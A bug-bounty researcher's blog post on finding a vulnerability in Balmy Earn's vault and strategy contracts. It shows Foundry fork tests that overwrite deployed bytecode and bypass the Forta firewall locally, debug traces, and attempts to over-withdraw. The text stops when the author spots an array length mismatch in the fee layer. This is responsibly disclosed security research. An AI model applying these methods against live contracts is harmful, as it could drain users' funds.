Aug 22, 2025

How I found a critical-severity vulnerability on Immunefi

In this inaugural blog post I will walk you through the steps that lead me to find a critical-severity vulnerability in Balmy that resulted in a $25,000 payout on Immunefi.

Opening remarks
Introduction to Balmy Earn
Overview of my bug hunting process
Setting up the repository for testing
First point of focus: Interaction between vault and strategies
Setting up a basic test contract for experimenting
Adding console.log debugging output
Trying out special withdrawals
Discovering the vulnerability
Proof of concept
Closing thoughts

Opening remarks

First off, I want to thank the Balmy team for chosing a publication policy in their bug bounty program that allows me to publish details about this vulnerability and thus making this blog post possible in the first place. I also commend the team’s quick and professional reaction to my bug bounty submission.

While I already reported this vulnerability in February, it took me until now to write this blog post. In the mean time the Balmy team announced [https://balmy.medium.com/sovereignt-bank-unwinding-balmy-24f2405062ff] that Balmy would be wound down until November. This means that the vulnerability described in this article is in a protocol that can now be considered obsolete. Nevertheless, I hope that the description of the process that lead to the discovery of the vulnerability will still be useful.

Introduction to Balmy Earn

While Balmy mainly provides automated Dollar-cost averaging (DCA) between ERC-20 tokens, the vulnerability discussed in this blog post affects Balmy Earn, Balmy’s yield generation infrastructure that allows to earn yield on otherwise idle assets.

The most important components of Balmy Earn are the vault and the strategies. Users deposit assets into Balmy Earn by creating a position in the vault. When creating a position, the user selects a strategy, which determines where the assets are ultimately deposited. Examples for strategies include depositing USDC into AaveV3 and depositing Ether into Moonwell via Morpho.

Overview of my bug hunting process

My bug hunting process consists of the following steps:

Get the source code for the smart contracts in scope. Immunefi bug bounty programs usually reference the contract source code verified on Etherscan which can be fetched using Foundry’s forge clone [https://getfoundry.sh/forge/reference/clone]. However, forge clone can only fetch one contract at a time and multiple contracts have to be manually merged into one repository if test cases involving multiple contracts are planned. Ideally there’s a GitHub repository with the current contract source code, which makes this step much easier. However, when using the source code from GitHub, it has to be verified that the GitHub source code matches the source code on Etherscan.
Understand what components exist in the protocol and how users interact with them. Usually that starts with reading the documentation (including the README in the GitHub repository), but to properly understand the protocol, reading the contract source code is necessary. The aim at this step is not to understand every part of the protocol in depth (that will come later), but to figure out what kind of vulnerabilities to look for and where. At this stage I mark any parts of the code that I find questionable or hard to understand to give them a thorough inspection later or to use them as an inspiration for attack ideas.
Create fork tests to try out user-facing functions of the protocol. In this step I will also try out any attack ideas from the previous step and create test cases that involve code that I found hard to understand. To better understand the inner workings of the code, I replace the deployed contracts by custom versions with additional console.log debug output. If you’re curious about how this works, just keep on reading!
Properly understand how each part of the protocol works. To achieve this, I match up the output from running the fork tests with maximum verbosity (-vvvvv) with the contract source code. Often that invalidates attack ideas but sometimes leads to the discovery of actual vulnerabilities.

The execution of these steps will usually not be completely linear. For example, after having understood one component of the protocol, my next step will probably be to write fork tests for another part of the protocol.

Setting up the repository for testing

As mentioned in the overview, the source code for the relevant contracts can be fetched from Etherscan or the project provides up-to-date contract source code in their GitHub repositories. Luckily, the source code in the earn-core [https://github.com/Balmy-protocol/earn-core] and earn-periphery [https://github.com/Balmy-protocol/earn-periphery] repositories can be used for bug hunting and is already prepared for forge tests.

After cloning the repositories, I used bun install [https://bun.com/get] in the earn-periphery directory to install the dependencies. Balmy uses npm (Node.js’ package manager) to manage their dependencies. For the purpose of installing the dependencies of such projects I find it easier to use bun (which is intended to be compatible to Node.js) instead of maintaining an up-to-date version of Node.js on my system.

While the relevant contracts are spread over the earn-core and earn-periphery repositories, I will set up all tests in earn-periphery, because all relevant dependencies (including earn-core) are declared in earn-periphery, so my test contracts can import all of them.

First point of focus: Interaction between vault and strategies

Balmy users deposit assets in the vault and receive an NFT that represents their deposit (which is referred to as a position). This NFT can be used to withdraw the position and any accrued yield and rewards from the vault.

When depositing, the user specifies a strategy into which the assets are deposited by the vault. The strategy can be considered the adapter between the Balmy vault and the underlying yield-generating platform (e.g. AaveV3 or Morpho), where the assets are ultimately deposited.

Towards the vault, each strategy provides a generic interface for deposits and withdrawals and towards the underlying platform the strategy uses the platform-specific interface. See the earn-periphery README [https://github.com/Balmy-protocol/earn-periphery?tab=readme-ov-file#strategies] for a more detailed description of the Balmy strategies.

From reading the source code of EarnVault and the strategies, I took away three observations:

There are two different methods for withdrawals:
1. Regular withdrawal: Users withdraw the underlying asset and possible rewards.
2. Special withdrawal: Users withdraw the deposit token of the underlying platform instead of the underlying asset. This is intended for cases where the underlying platform doesn’t allow immediate redemption of the deposit token, but a secondary market exists to sell the deposit token.
The accounting of how many assets are owned by each user takes place in the EarnVault contract, but executing the withdrawal is delegated to the strategies. The strategies don’t have access to the accounting information and the EarnVault contract doesn’t know how much the strategies pay out, so there doesn’t seem to be anything that prevents a buggy strategy from paying out too much to a user.
In an effort to maximize reusability of code, the strategy instances have huge inheritance trees and most functions have their logic spread throughout multiple layers of inheritance. As an example for this, let’s have a look at a part of the MorphoStrategy’s [https://github.com/Balmy-protocol/earn-periphery/blob/main/src/strategies/instances/morpho/MorphoStrategy.sol] inheritance tree:

contract MorphoStrategy is
  BaseStrategy,
  Clone,
  MorphoConnector,
  ExternalLiquidityMining,
  ExternalFees,
  ExternalGuardian,
  RegistryBasedCreationValidation
{
[...]
}

abstract contract BaseStrategy is
  IEarnBalmyStrategy,
  BaseLiquidityMining,
  BaseFees,
  BaseGuardian,
  BaseCreationValidation,
  BaseConnector
{
[...]
  /// @inheritdoc IEarnStrategy
  function withdraw(
    uint256 positionId,
    address[] calldata tokens,
    uint256[] calldata toWithdraw,
    address recipient
  )
    external
    onlyVault
  {
    return _liquidity_mining_withdraw(positionId, tokens, toWithdraw, recipient);
  }
[...]
}

Based on those observations, I came up with the following general attack ideas:

Try to find a combination of regular and special withdrawals to withdraw more than the user is entitled to. My idea here was to do a special withdrawal to withdraw a deposit token that represents the underlying asset and the rewards and then withdraw the accrued rewards with a regular withdrawal, effectively getting the rewards twice.
Try to find flaws in the EarnVault accounting logic or in the strategy withdrawal logic to withdraw assets or rewards that the user doesn’t own.
While this not a direct attack idea, it is important to keep in mind that huge inheritance trees and deeply layered logic make it easy to overlook issues in manual reviews and also can lead to undetected holes in test coverage. This makes it easier to get into a mindset that there must be vulnerabilities in the code, increasing the motivation to find them.

Setting up a basic test contract for experimenting

To understand the deposit and withdrawal logic, I first created a basic test contract to simulate a deposit and a withdrawal. Just to be able to create this contract, I was already forced to acquire a deeper understanding of several aspects of the vault and the strategies.

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {IEarnVault} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {StrategyId} from "@balmy/earn-core/types/StrategyId.sol";
import {INFTPermissions} from "@balmy/nft-permissions/interfaces/INFTPermissions.sol";

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256) external;
}

interface ITOSManager {
    function assignStrategyToGroup(StrategyId strategyId, bytes32 group) external;
}

contract NoopFirewall {
    function executeCheckpoint(address, bytes4, bytes32) external {}
}

contract Experimenting is Test {
    IEarnVault internal immutable earnVault = IEarnVault(0x0990a4a641636D437Af9aa214a1A580377eF1954);
    IWETH internal immutable weth = IWETH(0x4200000000000000000000000000000000000006);
    ITOSManager internal immutable tosManager = ITOSManager(0xED8e2E9499344110e18F0c77538BfB8C426Cd433);
    // MorphoStrategy (mwETH) at 0x2810dD0FF090d25Ba546C921F0c4f33C176E5442 is strategy 11
    StrategyId internal immutable strategyId = StrategyId.wrap(11);

    function setUp() public {
        // Replace the FORTA firewall of the FirewalledEarnVault with a "no-op" firewall to avoid having to get attestations for testing.
        NoopFirewall noopFirewall = new NoopFirewall();
        vm.store(
            address(earnVault),
            0x056e02eadf378bb204991810c69f5fd30d0c5daa999b3432711954755cff9a00,
            bytes32(uint256(uint160(address(noopFirewall))))
        );

        // Disable TOS checking to avoid having to attach the signed TOS when creating the position.
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        tosManager.assignStrategyToGroup(strategyId, bytes32(0));
    }

    function test_withdraw() public {
        INFTPermissions.PermissionSet[] memory permissions = new INFTPermissions.PermissionSet[](0);
        bytes[] memory strategyValidationDataArray = new bytes[](2);
        // To be validated by TOSManager (0xed8e2e9499344110e18f0c77538bfb8c426cd433)
        strategyValidationDataArray[0] = "";
        // To be validated by SignatureBasedWhitelistManager (0xe1bf5a5446b5cced4d7d10ad26533d0a1af8932a)
        strategyValidationDataArray[1] = "";

        // Create a position in the mwETH MorphoStrategy.
        weth.deposit{value: 10000}();
        weth.approve(address(earnVault), 10000);
        (uint256 positionId, ) = earnVault.createPosition(
            strategyId,
            address(weth),
            10000,
            address(this),
            permissions,
            abi.encode(strategyValidationDataArray),
            ""
        );

        // Check the user's balance.
        (address[] memory tokens, uint256[] memory balances,,) = earnVault.position(positionId);

        // Withdraw the user's full position.
        earnVault.withdraw(
            positionId,
            tokens,
            balances,
            address(this)
        );

        // Check the user's balance.
        earnVault.position(positionId);
    }
}

After putting this contract into the test directory in earn-periphery, the test can be executed with the following command (of course you have to replace the fork URL with your own Base RPC node URL):

$ forge test --match-path test/ExperimentingV1.t.sol --match-test test_withdraw -vvvvv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385

Forta Firewall

Instead of directly interacting with a EarnVault instance, Balmy users interact with a FirewalledEarnVault instance, which is a version of EarnVault with additional protection by Forta Firewall [https://firewall.forta.network/]. Forta Firewall is an additional line of defense against malicious transactions. While Forta Firewall would possibly block almost all attacks, according to Immunefi’s rules about Pre-Impact Bug Monitoring [https://immunefisupport.zendesk.com/hc/en-us/articles/19430444320401-Pre-Impact-Bug-Monitoring], “auto-block tools” like Forta Firewall would only warrant downgrades of bug reports if the tool would provably block the exploit in question with 100% certainty. This is not the case for Forta Firewall. In fact the Forta documentation [https://docs.forta.network/en/latest/forta-firewall-security-screening/] only claims that Forta Firewall’s FORTRESS AI model can detect “over 99% of exploits”.

On the other hand, having to acquire attestations for each call to the vault, would make fork testing impractical. Thus, I replaced the Forta Firewall by a NoopFirewall that does nothing.

Adding `console.log` debugging output

The basic test contract already allows some insight into the control flow for deposits and withdrawals. However, for a deeper understanding of internal calls, especially the accounting logic in EarnVault and the layered logic in the strategies, adding console.log [https://getfoundry.sh/reference/forge-std/console-log.html] calls to the relevant contracts can be very helpful.

As an example, this is the _loadCurrentState function from EarnVault.sol with added debug output:

import {console2} from "forge-std/console2.sol";
[...]

  function _loadCurrentState(
    uint256 positionId,
    StrategyId strategyId,
    IEarnStrategy strategy,
    uint256 positionShares
  )
    internal
    view
    returns (
      uint256 positionAssetBalance,
      CalculatedDataForToken[] memory calculatedData,
      uint256 totalShares,
      address[] memory tokens,
      uint256[] memory totalBalances
    )
  {
    console2.log("_loadCurrentState start");
    console2.log("positionShares", positionShares);
    totalShares = _totalSharesInStrategy[strategyId];
    console2.log("totalShares", totalShares);
    (positionAssetBalance, calculatedData, tokens, totalBalances) = _calculateAllData({
      positionId: positionId,
      strategyId: strategyId,
      strategy: strategy,
      totalShares: totalShares,
      positionShares: positionShares
    });
    console2.log("positionAssetBalance", positionAssetBalance);
    for (uint256 i; i < tokens.length; i++) {
        console2.log("tokens", i, tokens[i]);
        console2.log("totalBalances", i, totalBalances[i]);
    }
    console2.log("_loadCurrentState end");
  }

In order to benefit from the added debug output, the deployed contract bytecode has to be overwritten in the fork test.

In order to do that, EarnVault and other contracts that are needed to deploy EarnVault have to be imported into the test contract source file:

import {EarnVault} from "@balmy/earn-core/vault/EarnVault.sol";
import {IEarnStrategyRegistry} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {IEarnNFTDescriptor} from "@balmy/earn-core/interfaces/IEarnNFTDescriptor.sol";

The EarnVault import references the file node_modules/@balmy/earn-core/src/vault/EarnVault.sol in the earn-periphery repository. However, the file with the added debug code is src/vault/EarnVault.sol in the earn-core repository. In order to import the modified file, it has to be copied (or linked) from the earn-core repository to the earn-periphery repository.

Then the following has to be added to the setUp function:

    // Deploy EarnVault with modified code and replace code at earnVault address with it.
    // Allows to add debugging code (also disables the firewall).
    address[] memory initialPauseAdmins = new address[](0);
    EarnVault earnVaultReplacement = new EarnVault(
      IEarnStrategyRegistry(0xC0571929c21B71Fc7579ec7159B1E88A2199Bc78),
      address(this),
      initialPauseAdmins,
      IEarnNFTDescriptor(0xA21Db13B32Fe2A82D89e32BEe9A099EF9E733879)
    );
    vm.etch(address(earnVault), address(earnVaultReplacement).code);

This will replace the deployed bytecode of EarnVault, which includes any immutable variables, but not the storage. Also because the vault deployed on-chain is actually an instance of FirewalledEarnVault which is overwritten here with an instance of EarnVault, the firewall is implicitly disabled by this replacement.

Now when executing the test, the calls to console.log are visible in the forge output which makes it much easier to understand the inner workings of the protocol.

Trying out special withdrawals

As already mentioned above, one of my first attack ideas was using a combination of the special and regular withdrawal functions to withdraw more tokens than I was entitled to.

In order to try that out, I first modified the experimentation contract to attempt a special withdrawal:

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {IEarnVault} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {StrategyId} from "@balmy/earn-core/types/StrategyId.sol";
import {INFTPermissions} from "@balmy/nft-permissions/interfaces/INFTPermissions.sol";

import {EarnVault} from "@balmy/earn-core/vault/EarnVault.sol";
import {IEarnStrategyRegistry} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {IEarnNFTDescriptor} from "@balmy/earn-core/interfaces/IEarnNFTDescriptor.sol";

import {MorphoStrategy} from "src/strategies/instances/morpho/MorphoStrategy.sol";
import {SpecialWithdrawal} from "@balmy/earn-core/types/SpecialWithdrawals.sol";

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256) external;
}

interface ITOSManager {
    function assignStrategyToGroup(StrategyId strategyId, bytes32 group) external;
}

contract Experimenting is Test {
    IEarnVault internal immutable earnVault = IEarnVault(0x0990a4a641636D437Af9aa214a1A580377eF1954);
    IWETH internal immutable weth = IWETH(0x4200000000000000000000000000000000000006);
    ITOSManager internal immutable tosManager = ITOSManager(0xED8e2E9499344110e18F0c77538BfB8C426Cd433);
    // MorphoStrategy (mwETH) at 0x2810dD0FF090d25Ba546C921F0c4f33C176E5442 is strategy 11
    StrategyId internal immutable strategyId = StrategyId.wrap(11);

    function setUp() public {
        // Deploy EarnVault with modified code and replace code at earnVault address with it.
        // Allows to add debugging code (also disables the firewall).
        address[] memory initialPauseAdmins = new address[](0);
        EarnVault earnVaultReplacement = new EarnVault(
            IEarnStrategyRegistry(0xC0571929c21B71Fc7579ec7159B1E88A2199Bc78),
            address(this),
            initialPauseAdmins,
            IEarnNFTDescriptor(0xA21Db13B32Fe2A82D89e32BEe9A099EF9E733879)
        );
        vm.etch(address(earnVault), address(earnVaultReplacement).code);

        // Deploy MorphoStrategy with debugging modifications.
        MorphoStrategy morphoStrategyImplReplacement = new MorphoStrategy();
        vm.etch(address(0xfE02dbC93bABd8fD28c0eD6E66104Abf7b2a3B69), address(morphoStrategyImplReplacement).code);

        // Disable TOS checking to avoid having to attach the signed TOS when creating the position.
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        tosManager.assignStrategyToGroup(strategyId, bytes32(0));
    }

    function test_withdraw() public {
        INFTPermissions.PermissionSet[] memory permissions = new INFTPermissions.PermissionSet[](0);
        bytes[] memory strategyValidationDataArray = new bytes[](2);
        // To be validated by TOSManager (0xed8e2e9499344110e18f0c77538bfb8c426cd433)
        strategyValidationDataArray[0] = "";
        // To be validated by SignatureBasedWhitelistManager (0xe1bf5a5446b5cced4d7d10ad26533d0a1af8932a)
        strategyValidationDataArray[1] = "";

        // Create a position in the mwETH MorphoStrategy.
        weth.deposit{value: 10000}();
        weth.approve(address(earnVault), 10000);
        (uint256 positionId, ) = earnVault.createPosition(
            strategyId,
            address(weth),
            10000,
            address(this),
            permissions,
            abi.encode(strategyValidationDataArray),
            ""
        );

        // Check the user's balance.
        (address[] memory tokens, uint256[] memory balances,,) = earnVault.position(positionId);

        // Try to withdraw the mwETH token from the MetaMorpho vault.
        uint256[] memory toWithdraw = new uint256[](1);
        toWithdraw[0] = 9848; // convertToShares(10000) on the MetaMorpho vault
        earnVault.specialWithdraw(
            positionId,
            SpecialWithdrawal.WITHDRAW_ASSET_FARM_TOKEN_BY_AMOUNT,
            toWithdraw,
            "",
            address(this)
        );
    }
}

Surprisingly, the special withdrawal fails with a panic: array out-of-bounds access revert somewhere in the MorphoStrategy.specialWithdraw function:

$ forge test --match-path test/ExperimentingV3.t.sol --match-test test_withdraw -vvvvv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385
[...]
    ├─ [353157] FirewalledEarnVault::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ [551] EarnStrategyRegistry::getStrategy(11) [staticcall]
    │   │   └─ ← [Return] MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]
[...]
    │   ├─ [204216] MorphoStrategy::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   │   ├─ [204000] MorphoStrategy::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [delegatecall]
    │   │   │   ├─ [440] GlobalEarnRegistry::getAddressOrFail(0x8e24cef3d118e2320bff2d4ac4e82fd5ff0dd3a6e6044ca19f91cd3b6f84750e) [staticcall]
    │   │   │   │   └─ ← [Return] FeeManager: [0x7304BfD9d8410f8c181C6E9646c8AF2691608708]
    │   │   │   ├─ [1670] FeeManager::getFees(11) [staticcall]
    │   │   │   │   └─ ← [Return] Fees({ depositFee: 0, withdrawFee: 0, performanceFee: 1000, rescueFee: 500 })
    │   │   │   ├─ [1061] MetaMorpho::balanceOf(MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]) [staticcall]
    │   │   │   │   └─ ← [Return] 715028049338581916 [7.15e17]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(715028049338581916 [7.15e17]) [staticcall]
[...]
    │   │   │   │   └─ ← [Return] 720118732868865934 [7.201e17]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(9848) [staticcall]
[...]
    │   │   │   │   └─ ← [Return] 9918
    │   │   │   ├─ [25708] MetaMorpho::transfer(Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 9848)
    │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 9848)
    │   │   │   │   ├─  storage changes:
    │   │   │   │   │   @ 0x28afb593f8104b11418d3da3e1096ecbb9d40f54eff7c1fd0d8ff264e0d5b453: 0x00000000000000000000000000000000000000000000000009ec4a38f544439c → 0x00000000000000000000000000000000000000000000000009ec4a38f5441d24
    │   │   │   │   │   @ 0x5ff10565516c110180bb9cc111cdbc2b0a68e09ff7fac17290373c3aa4a1bb03: 0 → 9848
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─  storage changes:
    │   │   │   │   @ 0x5ff10565516c110180bb9cc111cdbc2b0a68e09ff7fac17290373c3aa4a1bb03: 0 → 9848
    │   │   │   │   @ 0x3f674467df582d3de9c81a51d703d3b3f62f0ca41078e222c2b763fb3b660de8: 0x010000000000000000002275e033cef5000000000000000009fe602c14c0cf8d → 0x010000000000000000002275e033cef5000000000000000009fe602c14c0a8d0
    │   │   │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    │   │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    │   ├─  storage changes:
    │   │   @ 15: 1 → 2
    │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    └─ ← [Revert] panic: array out-of-bounds access (0x32)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 124.01ms (119.07ms CPU time)

Ran 1 test suite in 1.37s (124.01ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/ExperimentingV3.t.sol:Experimenting
[FAIL: panic: array out-of-bounds access (0x32)] test_withdraw() (gas: 1599383)

Encountered a total of 1 failing tests, 0 tests succeeded

Now, the next step is to figure out where the revert is coming from. Given the deep layering of the strategy contracts, my favorite tool console.log is especially useful here.

Layering in the strategy contracts

As I already mentioned above, the strategy logic is deeply layered. As an example, when calling MorphoStrategy.specialWithdraw, the following main chain of functions is executed:

specialWithdraw (BaseStrategy)
_liquidity_mining_specialWithdraw (ExternalLiquidityMining)
_liquidity_mining_underlying_specialWithdraw (BaseStrategy)
_fees_specialWithdraw (ExternalFees)
_fees_underlying_specialWithdraw (BaseStrategy)
_guardian_specialWithdraw (ExternalGuardian)
_guardian_underlying_specialWithdraw (BaseStrategy)
_connector_specialWithdraw (ERC4626Connector) In ERC4626Connector._connector_specialWithdraw finally the actual interaction with the underlying Morpho vault happens.

This deep layering makes it challenging to keep track of what is actually happening and adding console.log debug output makes all those internal functions visible in forge traces.

As an example, here’s the _fees_specialWithdraw function in earn-periphery/src/strategies/layers/fees/external/ExternalFees.sol with added debug output:

  function _fees_specialWithdraw(
    uint256 positionId,
    SpecialWithdrawalCode withdrawalCode,
    uint256[] calldata toWithdraw,
    bytes calldata withdrawData,
    address recipient
  )
    internal
    override
    returns (
      uint256[] memory balanceChanges,
      address[] memory actualWithdrawnTokens,
      uint256[] memory actualWithdrawnAmounts,
      bytes memory result
    )
  {
    console2.log("_fees_specialWithdraw start");
    Fees memory fees = _getFees();
    console2.log("fees.performanceFee", fees.performanceFee);
    if (fees.performanceFee == 0) {
      address[] memory allTokens = _fees_underlying_tokens();
      _clearAllBalancesIfSet(allTokens);
      return _fees_underlying_specialWithdraw(positionId, withdrawalCode, toWithdraw, withdrawData, recipient);
    }

    (address[] memory tokens, uint256[] memory currentBalances) = _fees_underlying_totalBalances();
    for (uint256 i; i < tokens.length; ++i) {
        console2.log("tokens", i, tokens[i], currentBalances[i]);
    }

    (balanceChanges, actualWithdrawnTokens, actualWithdrawnAmounts, result) =
      _fees_underlying_specialWithdraw(positionId, withdrawalCode, toWithdraw, withdrawData, recipient);
    for (uint256 i; i < balanceChanges.length; ++i) {
        console2.log("balanceChanges", i, balanceChanges[i]);
    }
    for (uint256 i; i < actualWithdrawnTokens.length; ++i) {
        console2.log("actualWithdrawn", i, actualWithdrawnTokens[i], actualWithdrawnAmounts[i]);
    }

    for (uint256 i; i < tokens.length; ++i) {
      address token = tokens[i];
      uint256 currentBalance = currentBalances[i];
      _storePerformanceData({
        token: token,
        // Note: there might be a small wei difference here, but we can ignore it an avoid adding it as part of the fee
        lastBalance: (currentBalance - balanceChanges[i]),
        performanceFees: _calculateFees(token, currentBalance, fees.performanceFee),
        isSet: true
      });
    }
  }

After adding the debug output, it becomes clearer where the revert is happening:

$ forge test --match-path test/ExperimentingV3.t.sol --match-test test_withdraw -vvvvv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385
[...]
    │   ├─ [220832] MorphoStrategy::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   │   ├─ [220616] MorphoStrategy::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [delegatecall]
    │   │   │   ├─ [0] console::log("_fees_specialWithdraw start") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [440] GlobalEarnRegistry::getAddressOrFail(0x8e24cef3d118e2320bff2d4ac4e82fd5ff0dd3a6e6044ca19f91cd3b6f84750e) [staticcall]
    │   │   │   │   └─ ← [Return] FeeManager: [0x7304BfD9d8410f8c181C6E9646c8AF2691608708]
    │   │   │   ├─ [1670] FeeManager::getFees(11) [staticcall]
    │   │   │   │   └─ ← [Return] Fees({ depositFee: 0, withdrawFee: 0, performanceFee: 1000, rescueFee: 500 })
    │   │   │   ├─ [0] console::log("fees.performanceFee", 1000) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_guardian_totalBalances start") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("RescueStatus.OK") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_guardian_totalBalances end") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [1061] MetaMorpho::balanceOf(MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]) [staticcall]
    │   │   │   │   └─ ← [Return] 715028049338581916 [7.15e17]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(715028049338581916 [7.15e17]) [staticcall]
[...]
    │   │   │   │   └─ ← [Return] 720118732868865934 [7.201e17]
    │   │   │   ├─ [0] console::log("_buildArraysWithRewards start") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log(0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, "amount", 387729803255505057 [3.877e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log(0xA88594D404727625A9437C3f886C7643872296AE, "amount", 21913828909492809962 [2.191e19]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_buildArraysWithRewards end") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("tokens", 0, WETH9: [0x4200000000000000000000000000000000000006], 720118732868865934 [7.201e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("tokens", 1, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 387729803255505057 [3.877e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("tokens", 2, 0xA88594D404727625A9437C3f886C7643872296AE, 21913828909492809962 [2.191e19]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(9848) [staticcall]
[...]
    │   │   │   │   └─ ← [Return] 9918
    │   │   │   ├─ [25708] MetaMorpho::transfer(Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 9848)
    │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 9848)
    │   │   │   │   ├─  storage changes:
    │   │   │   │   │   @ 0x5ff10565516c110180bb9cc111cdbc2b0a68e09ff7fac17290373c3aa4a1bb03: 0 → 9848
    │   │   │   │   │   @ 0x28afb593f8104b11418d3da3e1096ecbb9d40f54eff7c1fd0d8ff264e0d5b453: 0x00000000000000000000000000000000000000000000000009ec4a38f544439c → 0x00000000000000000000000000000000000000000000000009ec4a38f5441d24
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [0] console::log("balanceChanges", 0, 9918) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("actualWithdrawn", 0, MetaMorpho: [0xa0E430870c4604CcfC7B38Ca7845B1FF653D0ff1], 9848) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_calculateFees start, token", WETH9: [0x4200000000000000000000000000000000000006]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("currentBalance", 720118732868865934 [7.201e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("performanceFee", 1000) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("perfData.performanceFees", 37889668009717 [3.788e13]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("perfData.lastBalance", 720118732868865933 [7.201e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("yield", 1) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("fee", 0) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_calculateFees end") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─  storage changes:
    │   │   │   │   @ 0x3f674467df582d3de9c81a51d703d3b3f62f0ca41078e222c2b763fb3b660de8: 0x010000000000000000002275e033cef5000000000000000009fe602c14c0cf8d → 0x010000000000000000002275e033cef5000000000000000009fe602c14c0a8d0
    │   │   │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    │   │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    │   ├─  storage changes:
    │   │   @ 15: 1 → 2
    │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    └─ ← [Revert] panic: array out-of-bounds access (0x32)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 115.47ms (113.49ms CPU time)

Ran 1 test suite in 2.72s (115.47ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/ExperimentingV3.t.sol:Experimenting
[FAIL: panic: array out-of-bounds access (0x32)] test_withdraw() (gas: 1716391)

Encountered a total of 1 failing tests, 0 tests succeeded

The output before MetaMorpho::previewRedeem(9848) and just before the revert can be matched with the debug output added to the _fees_specialWithdraw function (and the _calculateFees and _buildArraysWithRewards functions, which I haven’t shown here).

Carefully examining the output reveals that the tokens array returned by _fees_underlying_totalBalances contains three entries, but the balanceChanges array returned by _fees_underlying_specialWithdraw only contains one entry. The loop at the end of the function that calls _storePerformanceData for each entry in the tokens array assumes that there is a balanceChanges entry for each entry in tokens.

